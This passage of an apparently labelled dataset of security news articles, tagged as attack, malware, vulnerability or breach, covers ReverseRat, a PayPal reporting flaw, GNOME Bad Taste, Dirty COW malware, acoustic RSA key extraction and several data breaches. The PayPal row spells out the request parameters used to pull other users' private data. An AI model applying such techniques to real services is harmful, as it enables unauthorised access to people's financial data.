Irrespective of the PDF document displayed to the victim, the HTA file — itself a JavaScript code based on a GitHub project called CactusTorch — is leveraged to inject a 32-bit shellcode into a running process to ultimately install a .NET backdoor called ReverseRat that runs the typical spyware gamut, with capabilities to capture screenshots, terminate processes, execute arbitrary executables, perform file operations, and upload data to a remote server.
The custom-developed framework also comes with a third component in which a second HTA file is downloaded from the same domain to deploy the open-source AllaKore remote agent, potentially in an alternative attempt to maintain access to the compromised network.
""While this threat actor's targets have thus far remained within the South and Central Asian regions, they have proven effective at gaining access to networks of interest,"" the researchers said. ""Despite previously relying upon open-source frameworks such as AllaKore, the actor was able to remain effective and expand its capabilities with the development of the Svchostt agent and other components of the ReverseRat project.""

",Cyber_Attack
Balaji Plus Cloud Antivirus Released - Mix of 32 antivirus Engines for ultra Protection,https://thehackernews.com/2011/09/balaji-plus-cloud-antivirus-released.html,"Balaji Plus Cloud Antivirus Released - Mix of 32 antivirus Engines for ultra Protection
Leo Impact Launch World first Antivirus scanning software which protects your PC from viruses, trojans, spyware, rootkits and other malicious programs (zero day exploits) by using 32+ antivirus on cloud. Most of time you can install and use only 2 to 3 antivirus in one system, not more so virus author bypass top antivirus but Balajiplus is Free service by Leo impact Security for Corporate Social Responsibility to protect your digital life using multiple antivirus scanners on cloud. Collective Intelligence, Balaji Antivirus Plus proprietary cloud-scanning technology that automatically collects and processes millions of malware samples, lies at the core of Balaji Cloud Antivirus. In recent comparative tests conducted by both AV-Test.org and AV-Comparatives.org, Balaji Antivirus Security's detection and protection scores rank consistently amongst the top security solutions.

Balajiplus Cloud scanner use following Latest 32+ antivirus engine
Ad-Adware
ArcaVir
Avast
AVG Anti-Virus
Avira AntiVir Personal
BitDefender Internet Security
BullGuard
VirusBuster Internet Security
ClamAV
COMODO Internet Security
Dr.Web
CA Internet Security
F-PROT Antivirus
F-Secure Internet Security
G Data InternetSecurity 2011
IKARUS Security Software
Kaspersky Internet Security
McAfee Total Protection
Microsoft Security Essentials
ESET NOD32 Antivirus
Norman Security Suite
Norton Internet Security
Panda Cloud Antivirus
Quick Heal
Rising AntiVirus 2011
SOLO ANTI-VIRUS
Sophos AutoUpdate
Trend Micro Internet Security
VirusBlokAda
Vexira Antivirus Scanner
Webroot Internet Security
Zoner AntiVirus client

Why Balaji plus is unique/Safe?

Trusted by Trustwave and verisign
Online scanning module so no need to install any program in your system
Totally free and Anonymous (your exe and attachments auto deleted and never shared with antivirus companies)
Its better than install & use one antivirus instant Muliple 32+ antivirus scanning using our cloud technology.
This is ver 1.1 and we will launch ver 2.1 engine soon in next 2 months with patent patending technology so No virus /RAT./ Trojan infection's on your system

Visit us : https://balajiplus.com (3.26 MB Only)

",Malware
Dukascopy: Forex Swiss Bank Vulnerable to SQL Injection,https://thehackernews.com/2011/07/dukascopy-forex-swiss-bank-vulnerable.html,"Dukascopy: Forex Swiss Bank Vulnerable to SQL Injection
SQL Injection Vulnerability found in Dukascopy by zSecure Team. Dukascopy offers direct access to the Swiss Foreign Exchange Marketplace. This market provides the largest pool of ECN spot forex liquidity available for banks, hedge funds, other institutions and professional traders. To accommodate the existing banking relationships of it's clients, Dukascopy offers full Prime Broker capability with give up facility, by utilizing an extensive network of banking partners.

Dukascopy Bank provides access to the very first Decentralized Marketplace technology (SWFX – Swiss Forex Marketplace), combining the liquidity of clients, centralized marketplaces and a number of banks. Through its marketplace solution, the Swiss Forex Bank & Marketplace proposes to every client to act as liquidity consumer and/or liquidity provider. Dukascopy Bank provides a transparent and anonymous trading environment.

Proof Of Concept :
Content Removed because of Legal Issues....

",Vulnerability
Hacking PayPal accounts to steal user Private data,https://thehackernews.com/2013/05/hacking-paypal-accounts-to-steal-users.html,"If you're making a lot of money and you want to keep records of your transactions, then using PayPal's Reporting system you can effectively measure and manage your business.

Nir Goldshlager, founder of Breaksec and Security Researcher reported critical flaws in Paypal Reporting system that allowed him to steal private data of any PayPal account.

Exploiting the vulnerabilities he discovered, allowed him to access the financial information of any PayPal user including victim's shipping address Email addresses, Phone Number, Item name, Item Amount, Full name, Transaction ID, Invoice ID, Transaction, Subject, Account ID, Paypal Reference ID etc.

He found that PayPal is using the Actuate Iportal Application (a third party app) to display customer reports, so Nir downloaded the trial version of this app for testing purpose from its official website.
After going deeply through the source code of trial version, Nir located a file named getfolderitems.do that allowed him to access user's data without credentials.

Nir found that, Getfolderitems.do file having an ID parameter of 7-8 numeric characters which can be manipulated get the secret token id of respective user with same ID. i.e getfolderitems.do?id=392302.


After getting the secret token ID of victim's account, he use the folder parameter i.e getfolderitems.do?folder=/users/secretokenidoftheuser to access victim's private data, because Paypal blocked access to the users folder directly without token i.e getfolderitems.do?folder=/users/.

i.e URL : https://business.paypal.com/acweb/getfolderitems.do?folder=/users/tokenidofthevictim/ , where tokenidofthevictim is the secret token of the victim.

This flaw that has been exploited for demo purpose only, is now fixed by Security team of Paypal.

",Vulnerability
Snowden used web crawler tool to access and download 1.7 million Secret NSA Files,https://thehackernews.com/2014/02/snowden-used-web-crawler-tool-to-access.html,"National Security Agency (NSA) – the one that had ruled over the privacy of the entire world from countries to individuals, the one with master access to read anyone's data, intruded into large fiber networks, and can target anyone, at any time, at any place; but lapsed somewhere in protecting its own privacy and security of the confidential data.

If I am wrong, then from where did Snowden gets hold over roughly 1.7 million NSA's confidential files in sequence?

According to the Intelligence officials who has investigated the insider theft by Snowden, noticed that he had accessed all these documents using some 'web crawler', a freely available automated tool also known as spiders, which used to search, index and backup a website, ""scraped data out of our systems"" he said. ""We do not believe this was an individual sitting at a machine and downloading this much material in sequence,"" he added.

He used the web crawler tool against NSA's internal network and 'probably he had also made use of the passwords of some colleagues or supervisor' in order to download every possible document available at NSA.

The above report was published yesterday by the New York Times and is really shocking because an Intelligence Agency whose job is to protect the Nation from sophisticated cyber attacks, itself failed to detect Snowden's ""insider attack"", who used a cheaper software to grab it all.

According to Luke Harding, a correspondent for The Guardian and the author of ""The Snowden Files"" book, ""He was either very lucky or very strategic"" and Mr. Snowden sought his job at Booz Allen because ""to get access to a final tranche of documents,"" he needed ""greater security privileges than he enjoyed in his position at Dell.""

In a statement Snowden Said, ""It's ironic that officials are giving classified information to journalists in an effort to discredit me for giving classified information to journalists. The difference is that I did so to inform the public about the government's actions, and they're doing so to misinform the public about mine.""

Lt. Gen. Michael T. Flynn, the head of the Defense Intelligence Agency said, ""Everything that he touched, we assume that he took,"" said General Flynn, including details of how the military track terrorists, of enemies' vulnerabilities and of American defenses against improvised explosive devices. ""We assume the worst case."" he said.

Earlier the Government warned that their systems were vulnerable to such attacks, when four years back Bradley Manning also used similar techniques i.e. 'wget' to download millions of Classified Military and State Department documents and forwarded them to WikiLeaks, but apparently the God-like powered agency took no lesson from such disclosure, is shocking.

",Cyber_Attack
Almost Half A Million Delhi Citizens' Personal Data Exposed Online,https://thehackernews.com/2019/02/mongodb-delhi-database-leaked.html,"Exclusive — A security researcher has identified an unsecured server that was leaking detailed personal details of nearly half a million Indian citizens... thanks to another MongoDB database instance that company left unprotected on the Internet accessible to anyone without password.

In a report shared with The Hacker News, Bob Diachenko disclosed that two days ago he found a 4.1 GB-sized highly sensitive database online, named ""GNCTD,"" containing information collected on 458,388 individuals located in Delhi, including their Aadhaar numbers and voter ID numbers.

Though it's not clear if the exposed database is linked to the Government of National Capital Territory of Delhi (GNCTD), Diachenko found that the database contains references and email addresses with ""transerve.com"" domain for users registered with ""senior supervisor,"" and ""super admin"" designations.

Based upon the information available on Transerve Technologies website, it is a Goa-based company that specializes in smart city solutions and advanced data collection technology.

The company's data collector, precision mapping and location intelligence tool help businesses across various sectors and Governments agencies to utilize Geo-location data to make smart decisions intelligently.

The leaked database contains the following tables:
EB Users (14,861 records)
Households (102,863 records)
Individuals (458,388 records)
Registered Users (399 records)
Users (2,983 records)
Analyzed by Diachenko, one of the database tables containing registered users includes email addresses, hashed passwords and usernames for administrator access.
""The most detailed information contained in 'Individuals' collection which was basically a pretty detailed portrait of a person, incl. health conditions, education, etc.,"" Diachenko said.

""Households collection contained fields such as 'name', 'house no', 'floor number', 'geolocation', area details, 'email_ID' of a supervisor, 'is the household cooperating for survey' field, 'type of latrine', 'functional water meter', 'ration card number', 'internet facility available' and even 'informan name' field.""

""It remains unknown just how long database was online and if anyone else accessed it,"" Diachenko said.

When Transerve didn't respond to the responsible disclosure sent via email, Diachenko contacted Indian CERT, which further coordinated with the company to take its exposed database offline immediately.

""The danger of having an exposed MongoDB or similar NoSQL databases is a huge risk. We have previously reported that the lack of authentication allowed the installation of malware or ransomware on thousands of MongoDB servers,"" Diachenko said.

""The public configuration allows the possibility of cybercriminals to manage the whole system with full administrative privileges. Once the malware is in place, criminals could remotely access the server resources and even launch a code execution to steal or completely destroy any saved data the server contains.""

MongoDB is the most popular, open-source NoSQL database used by companies of all sizes, from eBay and Sourceforge to The New York Times and LinkedIn.

This isn't the first time when MongoDB instances are found exposed to the Internet. In recent years, we have published several reports where unprotected database servers have already exposed billions of records.

None of this is MongoDBs fault, as administrators are always advised to follow the security checklist provided by the MongoDB maintainers.

On older versions of MongoDB before version 2.6.0, the default configuration makes the database listening on a publicly accessible port, where admins are supposed to reconfigure it appropriately for online use, but, unfortunately, many don't.
",Data_Breaches
ColdFusion Zero day vulnerability : Remote File Disclosure of Password Hashes,https://thehackernews.com/2012/01/coldfusion-zero-day-vulnerability.html,"ColdFusion Zero day vulnerability : Remote File Disclosure of Password Hashes


Yesterday Blackhatacademy Released Fully automated MySQL5 boolean based enumeration tool. Today Another post expose the most critical ColdFusion vulnerability affects about a tenth of all ColdFusion servers at the present. It chains together multiple exploits, and it provides a 30 second window into the Administrator panel. The ColdFusion Administrator panel can then be used to write out a shell.

ColdFusion Markup Language is an interpreted language utilizing a Java backend. It allows direct access to Java via its cfscript tags, while simultaneously offering a simple web wrapper. It is vulnerable to a variety of attacks, but mainly LFD and SQLi. ColdFusion scripts are commonly run as an elevated user, such as NT-Authority\SYSTEM (Windows) or root (Linux), making them especially susceptible to web-based attacks.

Patching a ColdFusion instance from the LFD->Bypass->RCE exploit can only be done on ColdFusion 8. No other versions can be patched. That being said, the official Adobe patch can be downloaded here.

",Vulnerability
14 Ways to Evade Botnet Malware Attacks On Your Computers,https://thehackernews.com/2019/12/botnet-malware-attacks.html,"Cybercriminals are busy innovators, adapting their weapons and attack strategies, and ruthlessly roaming the web in search of their next big score.

Every manner of sensitive information, such as confidential employee records, customers' financial data, protected medical documents, and government files, are all subject to their relentless threats to cybersecurity.

Solutions span a broad spectrum, from training email users to ensuring a VPN kill switch is in place, to adding extensive advanced layers of network protection.

To successfully guard against severe threats from hackers, worm viruses to malware, such as botnet attacks, network managers need to use all tools and methods that fit well into a comprehensive cyber defense strategy.

Of all the menaces mentioned above to a website owner's peace of mind, botnets arguably present the most unsettling form of security risk. They're not the mere achievements of malicious amateur cybercriminals.

They're state-of-the-dark-art cyber-crafts. What's most rattling about them, perhaps, is their stealth, their ability to lurk around seeking vulnerabilities to exploit invisibly.

How Do Botnets Work?

Proliferating botnets is not one of the more straightforward strategic hacking weapons. Botnets are subtle data-extracting malware. They infiltrate networks, unauthorisedly access computers, and allow malware to continue operating without disruption for users, while they steal data and funnel it outside the victim network and into awaiting ""botmasters,"" evading detection throughout the process.

What Can You Do to Stop Botnets?

The front line of cyber defense has got to be manned by people — real people working at their computers, doing their everyday tasks in the office.

The best defense against ever-evolving threats is to educate the users who are the perpetrators' prime targets. These particular front lines span the spectrum of web interactions, from email to social media.

It's recommended to implement a strategy that incorporates as many of the following approaches, from some basics to more sophisticated solutions, as practicable for your organization:

1. Be Sure Your VPN Has a Kill Switch in Place

A virtual private network (VPN) allows users to access confidential information by connecting to the VPN via the public network. Your VPN provider should have a VPN kill switch in place to keep sensitive data, such as your IP address, from inadvertently being transmitted through an unsecured connection.

2. Develop a Robust System to Capture and Block Fraudulent Emails

A business email compromise is such a common attack strategy that it has its own acronym, and the numbers of BEC scam incidents are continuously rising. This kind of attack is tough to defend against.

Solutions to BEC detection and elimination require effective classification and policies for blocking suspicious email senders, content, and attachments.
Install defensive gateway web tools such as WebSense, McAfee, to help block receipt of email from undesired sources and block requests from being sent out to addresses that are reputed to be possible sources of malware.

3. Build a Culture of Diligent Defense Against BEC

Social manipulation is reportedly among the most common methods criminals use to wage attacks on email accounts.

They've long figured out that clicking on email attachments is a reflex for many busy users. So, shore up the security of your system by:

Expecting users to open email attachments, even if your organization has an official policy, buried in a handbook somewhere—maybe about thinking before clicking and more prominently promote the policy.
Provide training and frequent updates to employees on their options for helping network security, for example, using strong passwords.
Teach users how to obtain help and to use real-time solutions to isolate and avoid the kinds of attacks that exploit network users.
Teach users to be diligent in reporting suspicious emails. Include examples of email attacks and simulations in your training, to help people learn to identify attacks, and provide extra support for users whose accounts appear to be the most vulnerable.

4. Switch to Manual Software Installation

It could be unpopular advice, but some organizations should disable the automatic installation of software via the AutoRun feature based on their threat landscape.

Disallowing AutoRun from automatically installing software can help prevent a computer's operating systems from indiscriminately launching unwanted commands from unknown external sources.

5. Enable the Windows Firewall

Installing the Windows firewall is fundamental for baseline protection against incoming security threats. Users may want to disable the Windows firewall to prevent it from blocking network connections they want to make.

If your networked computers have alternative adequate firewall protection, then it may be preferable or even necessary to disable the Windows firewall.

The critical point here is to have appropriately configured firewall protection in place.

6. Compartmentalize Within the Network

Consider network compartmentalization. In today's work environments, many, perhaps most, computer stations have to communicate with one other between departments, often many times daily.

However, limiting or eliminating that ability for machines that don't need that kind of broad access can go far in helping stop botnets from spreading throughout your network.


To the extent possible:
Minimize your network's risk by forming virtual local area networks (VLANs).
Use your access control list (ACL) filters to restrict access to objects and limit threat exposure.


7. Use Data Filtering

Botnet malware usually works by establishing interactions with at least one remote command-and-control server, which hackers also use to extract sensitive information illegally.

To block the malicious interactions and thwart the criminal activity, use data filtering on information exiting your network.

Some viable approaches include:

An egress content filtering tool can be applied, forcing the flow of your organization's web traffic through the filter and prevent information from exiting your organization's network.
A data loss prevention (DLP) solution can also be used to monitor unauthorized accesses and breaches, stopping them from leaking information.

8. Break Domain Trust Relationships

Eliminate password trusts to regain tighter control over your local accounts. Cautiously controlling your local administrator account is essential to cutting off threats and eradicating them.

Inactivating the automatic ability of computers to interconnect shuts off the route used by botnets to circulate through an internal network.

In networks, where some or many computers contain highly sensitive data, this can provide a secure alternative to defend against botnet attacks.

9. Employ Additional Layers of Prevention

Put additional layers of protection to help prevent botnets from ensconcing themselves in your system, focus on shoring up the network, for example, at specific points of contact that are especially vulnerable, such as routes from certain hardware or software components.

A couple of things to keep in mind:

Host-based intrusion detection systems are exceptionally efficient, but they're also expensive, and typically difficult to deploy successfully.
These tools cannot correct gaps or other existing technical deficiencies in an operating system.

10. Enhance and Increase Network Monitoring

Closely monitoring the network, information on how connected users are operating within an organization, arms network defense solutions significantly.

Having a deeper understanding of how everything and everyone is ordinarily interacting makes it much easier to detect unusual activity quickly when a botnet or other malware intrusion has begun.

Ideally, 24-hour monitoring of network activity should be the policy, employing data collection tools that detect anomalous behavior and block attempts to infiltrate the system.
Consider pricing remote cybersecurity services, to provide the extent and quality of network monitoring equipment and expertise that may be more than in-house IT facilities and/or staff alone can provide around the clock.

11. Control Network Accesses with Proxy Servers

Creating a supporting exit point through which Internet access can be monitored creates reinforcement for monitoring efforts. Routing outbound information through a proxy server can head off cybercriminals' attempts to circumvent your network security.

Filtering content through a proxy server is a practical option for most networks, although, of course, it may not be realistic to stop every bit of potentially problematic outbound information.

12. Apply the Least Privilege Principles

Generally speaking, access rights should be based on the needs of the users' functions. Having an administrator that is not the same person as the user of a particular workstation makes it much more difficult for malware to be spread by downloading.

It also makes it harder to use AutoRun tactics to exploit a system. It further makes it more challenging for perpetrators to spread malware from one infiltrated computer workstation to others by employing a user's network account credentials.

13. Monitor Responses to Domain Name System Queries

Maintain monitoring of workstations' queries to DNS servers is an excellent approach to identifying symptoms of botnet infiltration. For example, monitor for low time-to-live (TTL).

Unusually low TTL values can be an indicator of botnet penetration. By carefully monitoring for low TTL, your systems administrator can take action to counter the attack and eliminate botnets before the infestation spreads.

14. Stay Informed of Emergent Threats

Keep yourself and your IT team apprised of new local, national, and global cyber threats that begin sweeping across regions. For example, reportedly, the incidences of cybercriminals using URLs in emails to infiltrate internal networks were much higher than perpetrators' use of attachments.

More generally, a staggering percentage of the successful thefts of information from internal networks over the past year has been through the use of botnets.

Staying up to date with news on new and evolving cyber-threats is the first order of activity network management professionals must consistently maintain, to be effective in protecting an organization's system.

Going Forward More Securely

To protect the people who've trusted you with their sensitive personal information, protect your organization from liability, and protect your brand's reputation, you need to defend on all fronts.

Use the above and other strategies, methods, and tools for ensuring that you maintain an effective defense against cyber-attacks waged through email, mobile access points, social platforms, and any other media.

As mentioned, botnets now account for a vast percentage of cybercrime. Using the approaches discussed above can go far in helping construct a fortified cybersecurity framework that can be scaled for any network budget and size.

",Cyber_Attack
Critical Code Injection Flaw In Gnome File Manager Leaves Linux Users Open to Hacking,https://thehackernews.com/2017/07/linux-gnome-vulnerability.html,"A security researcher has discovered a code injection vulnerability in the thumbnail handler component of GNOME Files file manager that could allow hackers to execute malicious code on targeted Linux machines.

Dubbed Bad Taste, the vulnerability (CVE-2017-11421) was discovered by German researcher Nils Dagsson Moskopp, who also released proof-of-concept code on his blog to demonstrate the vulnerability.

The code injection vulnerability resides in ""gnome-exe-thumbnailer"" — a tool to generate thumbnails from Windows executable files (.exe/.msi/.dll/.lnk) for GNOME, which requires users to have Wine application installed on their systems to open it.

Those who are unaware, Wine is a free and open-source software that allows Windows applications to run on the Linux operating system.

Moskopp discovered that while navigating to a directory containing the .msi file, GNOME Files takes the filename as an executable input and run it in order to create an image thumbnail.

For successful exploitation of the vulnerability, an attacker can send a crafted Windows installer (MSI) file with malicious VBScript code in its filename, which if downloaded on a vulnerable system would compromise the machine without further user interaction.
""Instead of parsing an MSI file to get its version number, this code creates a script containing the filename for which a thumbnail should be shown and executes that using Wine,"" Moskopp explains while demonstrating his PoC.
""The script is constructed using a template, which makes it possible to embed VBScript in a filename and trigger its execution.""
The flaw can be exploited by potential hackers using other attack vectors as well, for example, by directly inserting a USB-drive with a malicious file stored on it, or delivering the malicious file via drive-by-downloads.

How to Protect Yourself from Bad Taste

Moskopp reported the vulnerability to the GNOME Project and the Debian Project. Both of them patched the vulnerability in the gnome-exe-thumbnailer file.

The vulnerability affects gnome-exe-thumbnailer before 0.9.5 version. So, if you run a Linux OS with the GNOME desktop, check for updates immediately before you become affected by this critical vulnerability.

Meanwhile, Moskopp also advised users to:

Delete all files in /usr/share/thumbnailers.
Do not use GNOME Files.
Uninstall any software that facilitates automatically execution of filenames as code.

Moskopp also advised developers to not use ""bug-ridden ad-hoc parsers"" to parse files, to ""fully recognise inputs before processing them,"" and to use unparsers, instead of templates.

",Vulnerability
First Android Malware Found Exploiting Dirty COW Linux Flaw to Gain Root Privileges,https://thehackernews.com/2017/09/dirty-cow-android-malware.html,"Nearly a year after the disclosure of the Dirty COW vulnerability that affected the Linux kernel, cybercriminals have started exploiting the vulnerability against Android users, researchers have warned.

Publicly disclosed last year in October, Dirty COW was present in a section of the Linux kernel—a part of virtually every Linux distribution, including Red Hat, Debian, and Ubuntu—for years and was actively exploited in the wild.

The vulnerability allows an unprivileged local attacker to gain root access through a race condition issue, gain access to read-only root-owned executable files, and permit remote attacks.

However, security researchers from Trend Micro published a blog post on Monday disclosing that the privilege escalation vulnerability (CVE-2016-5195), known as Dirty COW, has now been actively exploited by a malware sample of ZNIU, detected as AndroidOS_ZNIU.

This is the first time we have seen a malware sample to contain an exploit for the vulnerability designed to compromise devices running on the mobile platform.

This Dirty Cow Exploit found in Over 1,200 Android Apps

The malware uses the Dirty COW exploit to root Android devices via the copy-on-write (COW) mechanism in Android's Linux kernel and install a backdoor which can then be used by attackers to collect data and generate profit through a premium rate phone number.

Trend Micro researchers detected the ZNIU malware in more than 1,200 malicious Android apps—some of which disguised themselves as pornography and gaming apps—alongside host websites containing malware rootkits that exploit Dirty Cow.

While the Dirty Cow flaw impacts all versions of the Android operating system, the ZNIU's Dirty Cow exploit only affects Android devices with ARM/X86 64-bit architecture. However, the recent exploit can be used to bypass SELinux and plant backdoors.
""We monitored six ZNIU rootkits, four of which were Dirty COW exploits. The other two were KingoRoot, a rooting app, and the Iovyroot exploit (CVE-2015-1805),"" the researchers said.
""ZNIU used KingoRoot and Iovyroot because they can root ARM 32-bit CPU devices, which the rootkit for Dirty COW cannot.""

Here's How the ZNIU's Dirty Cow exploit Works

Once downloaded and installed, the ZNIU malware-carrying app communicates with its command-and-control (C&C) server to check for code updates, while simultaneously the Dirty Cow exploit provides local privilege escalation to gain root access on the device, bypass system restrictions and ""plant a backdoor for potential remote control attacks in the future.""

The malware also harvests the carrier information of the user and attempts to send payments via premium SMS messages that were directed to a dummy company in China.

Once the SMS transaction is over, the malware also deletes the messages from the device in order to erase evidence of any compromise.

The researchers found the malware has already infected more than 5,000 Android users across 40 countries in recent weeks, with the majority of victims found in China and India, while other resides in the United States, Japan, Canada, Germany and Indonesia.

Google has released an update for Android that, among other fixes, officially fixes the Dirty COW vulnerability. The tech giant also confirmed that its Play Protect now protects Android users against this malware.

The easiest way to prevent yourself from being targeted by such clever malware is to avoid downloading apps from third-party sources and always stick to the official Google Play Store.

",Malware
Acoustic Cryptanalysis: Extracting RSA Key From GnuPG by capturing Computer Sound,https://thehackernews.com/2013/12/acoustic-cryptanalysis-extracting-rsa.html,"RSA Key Extraction via Low-Bandwidth Acoustic Cryptanalysis', is an interesting paper recently published by Three Israeli Security Researchers at Tel Aviv University.

They claimed that, they have successfully broken one of the most secure encryption algorithms, 4096-bit RSA, just by capturing Computer's CPU Sound while it runs decryption routines.
Daniel Genkin, Adi Shamir (who co-invented RSA), and Eran Tromer, uses a side channel attack and through a process called ""acoustic cryptanalysis"", they successfully extracted 4096-bit RSA key From GnuPG.
""We experimentally demonstrate that such attacks can be carried out, using either a plain mobile phone placed next to the computer, or a more sensitive microphone placed 4 meters away,""




The paper specifies some possible implementations of this attack. Some email-client softwares i.e. Enigmail can automatically decrypt incoming e-mail (for notification purposes) using GnuPG. An attacker can e-mail suitably-crafted messages to the victims, wait until they reach the target computer, and observe the acoustic signature of their decryption, thereby closing the adaptive attack loop.
""The acoustic signal of interest is generated by vibration of electronic components (capacitors and coils) in the voltage regulation circuit, as it struggles to maintain a constant voltage to the CPU despite the large fluctuations in power consumption caused by different patterns of CPU operations,""
""The relevant signal is not caused by mechanical components such as the fan or hard disk, nor by the laptop's internal speaker.""
The security researchers listen to the high-pitched (10 to 150 KHz) sounds produced by your computer as it decrypts data and warned that a variety of other applications are also susceptible to the same acoustic cryptanalysis attack.
""We observe that GnuPG's RSA signing (or decryption) operations are readily identified by their acoustic frequency spectrum. Moreover, the spectrum is often key-dependent, so that secret keys can be distinguished by the sound made when they are used. The same applies to ElGamal decryption.""
Here in the above picture, a mobile phone (Samsung Note II) is placed 30 cm (nearly 12 inches) from a target laptop. The phone's internal microphone points toward the laptop's fan vents. Full key extraction is possible in this configuration and distance.

They have notified GnuPG about the vulnerability and If you want to keep your data secure, please follow recommended countermeasures:
""One obvious countermeasure is to use sound dampening equipment, such as ""sound-proof"" boxes, designed to sufficiently attenuate all relevant frequencies. Conversely, a sufficiently strong wide-band noise source can mask the informative signals, though ergonomic concerns may render this unattractive. Careful circuit design and high-quality electronic components can probably reduce the emanations.""
GnuPG team has developed a patch for the vulnerability to defend against key extraction attacks and released GnuPG 1.4.16.

",Vulnerability
Iranian Man-in-the-Middle Attack Against Google certificate,https://thehackernews.com/2011/08/iranian-man-in-middle-attack-against.html,"Iranian Man-in-the-Middle Attack Against Google certificate

Recently discovered attempts of an SSL man-in-the-middle attack against Google users - spotted by a number of Iranian Internet users - have revealed that Dutch Certificate Authority DigiNotar has issued an SSL certificate for all *.google.com domains.

What's worse than discovering that someone has launched a man-in-the-middle attack against Iranian Google users, silently intercepting everything from email to search results and possibly putting Iranian activists in danger? Discovering that this attack has been active for two months.
""This is a wildcard for any of the Google domains,"" said Roel Schouwenberg, senior malware researcher with Kaspersky Lab, in an email interview Monday.

""[Attackers] could poison DNS, present their site with the fake cert and bingo, they have the user's credentials,"" said Andrew Storms, director of security operations at nCircle Security.

As the problems with the certificate authority system become clear, lots of people are working on ways to detect and mitigate these attacks. Chrome's pinning feature is available not only to Google web sites but to any webmaster; if you run an HTTPS site, you can contact the Chrome developers and get your site's keys hard-coded. Other browser vendors may implement a similar feature soon. The same result could also be achieved by giving web sites themselves a way to tell browsers what certificates to anticipate—and efforts to do this are now underway, building on top of DNSSEC or HSTS. Then browsers could simply not believe conflicting information, or at least provide a meaningful way to report it or warn the user about the situation.

Mozilla has announced the release of new versions of their browser, mail client and Internet suite in which trust of DigiNotar's root certificate will be revoked.

",Malware
Data Breach Exposes 1.6 Million Jobless Claims Filed in the Washington State,https://thehackernews.com/2021/02/data-breach-exposes-16-million-jobless.html,"The Office of the Washington State Auditor (SAO) on Monday said it's investigating a security incident that resulted in the compromise of personal information of more than 1.6 million people who filed for unemployment claims in the state in 2020.
The SAO blamed the breach on a software vulnerability in Accellion's File Transfer Appliance (FTA) service, which allows organizations to share sensitive documents with users outside their organization securely.
""During the week of January 25, 2021, Accellion confirmed that an unauthorized person gained access to SAO files by exploiting a vulnerability in Accellion's file transfer service,"" the SAO said in a statement.
The accessed information is said to have contained personal details of Washington state residents who filed unemployment insurance claims in 2020, as well as other data from local governments and state agencies.
The exact information that may have been compromised include:
Full name
Social security number
Driver's license
State identification number
Bank account number and bank routing number, and
Place of employment
The unauthorized access incident is believed to have occurred in late December of last year, although it appears the full scope of the intrusion wasn't made aware until Accellion disclosed earlier this month that its file transfer application was the ""target of a sophisticated cyberattack.""
The Palo Alto-based cloud solutions company said on January 11 that it was made aware of a vulnerability in its legacy FTA software in mid-December, following which it claimed it addressed the issue and released a patch ""within 72 hours"" to the less than 50 customers affected.
Accellion also said it's contracting with an ""industry-leading cybersecurity forensics firm"" to investigate the incident.
Given that the compromised information can be abused to carry out identity theft or fraud, the SAO said it's in the process of arranging measures to protect the identities of those whose information may have been contained within SAO's files.
In the meanwhile, the agency recommends reviewing account statements and credit reports, notifying financial institutions of any suspicious activity, and reporting any suspected incidents of identity theft to law enforcement.
It's worth noting that Accellion's FTA software was used as an attack vector to strike two other organizations, including the Australian Securities and Investments Commission (ASIC) and the Reserve Bank of New Zealand (RBNZ), in recent weeks.
",Data_Breaches
20-Year Old Vulnerability in LZO Compression Algorithm Went to Planet Mars,https://thehackernews.com/2014/06/20-years-old-vulnerability-in-lzo.html,"A 20 year old critical subtle integer overflow vulnerability has been discovered in Lempel-Ziv-Oberhumer (LZO), an extremely efficient data compression algorithm that focuses on decompression speed, which is almost five times faster than zlib and bzip compression algorithms.

Lempel-Ziv-Oberhumer (LZO) was developed in 1994 by Markus Oberhumer and currently it is one of the most popular and widespread compression algorithm used in the Linux kernel, some Samsung Android mobile devices, other embedded devices and several open-source libraries including OpenVPN, MPlayer2, Libav, FFmpeg.

20 YEAR OLD VULNERABILITY IN LZO ALGORITHM
Don A. Bailey, founder and CEO of Lab Mouse Security, who disclosed the technical details of the buffer overrun vulnerability in LZO/LZ4 algorithm, explains that if an attacker carefully craft a piece of compressed data that would run malicious code when the software attempted to decompress it.

According to advisory, if buffers of 16MB or more can be passed to LZO/LZ4 then exploitation is possible only under limited circumstances. The vulnerability in the algorithm could also trigger buffer overflows, denial of service and remote code execution (RCE).

""As this issue only affects 32-bit systems and also can only happen if you use uncommonly huge buffer sizes where you have to decompress more than 16 MiB (2^24 bytes) compressed bytes within a single function call the practical implications are limited.""
LZO FLAW WENT TO PLANET MARS
Lempel-Ziv-Oberhumer (LZO) algorithm is also used in some car and aircraft systems, as well as NASA's Rover, Curiosity, which is right now on planet Mars and has completed its first year this week.

""The scope of this algorithm touches everything from embedded micro controllers on the Mars Rover, mainframe operating systems, modern day desktops, and mobile phones."" Bailey wrote in a blog post.
However, he denied from the practical exploitation of Curiosity Rover by any hacker, ""NASA accepted the bug reports. I doubt it is vulnerable to an attacker. The Rover is so compartmentalized within NASA it would be hard to get to, and even harder to push a malicious payload to it. I doubt you could send it enough data to trigger the bug,"" Bailey explained.
Multimedia applications such as MPlayer2, libav and FFmpeg are potentially affected by the discovered vulnerability and it could be used to execute code remotely. ""If you're viewing a video, a malicious video will execute a shell on your computer, so you could get code execution by playing a video."" Bailey warned.

GOOD NEWS, ANY TOM, DICK OR HARRY CAN'T WRITE EXPLOITS
The LZO vulnerability is significant and even exists in kernels for Samsung Android devices to increase kernel loading speed. However, each implementation and architecture is using modified versions of LZO, so a potential attacker should have to build custom malicious payloads for each implementation and this limits the overall severity of the flaw.

CVE-ID's
CVE-2014-4607 - LZO code
CVE-2014-4608 (LZO) - Kernel code
CVE-2014-4609 - Libav
CVE-2014-4610 - FFmpeg
CVE-2014-4611 (LZ4) - Kernel code
SECURITY PATCH
LZO has finally been patched in latest LZO version 2.07, Linux kernel version 3.15.2 and various open-source media libraries including, FFmpeg and libav have also released latest patched versions.

",Vulnerability
AntiVirus Firm BitDefender Hacked; Turns Out Stored Passwords Are UnEncrypted,https://thehackernews.com/2015/07/bitdefender-hacked.html,"Forget about Financial services and Online shopping websites, but at least we expect from Security Firms and Antivirus vendors to keep our personal and Sensitive data Encrypted and Secured.

One of the most popular and much-respected Antivirus and computer security firms 'BitDefender' has recently been hacked and has had a portion of its customer data leaked.

The Data Breach in BitDefender is incredibly embarrassing for the security firm, not because the company failed to prevent its customers data from hackers, but because the Security company failed to encrypt its customers' most sensitive data.

Now, this is something really not expected from a reputed Security Firm.

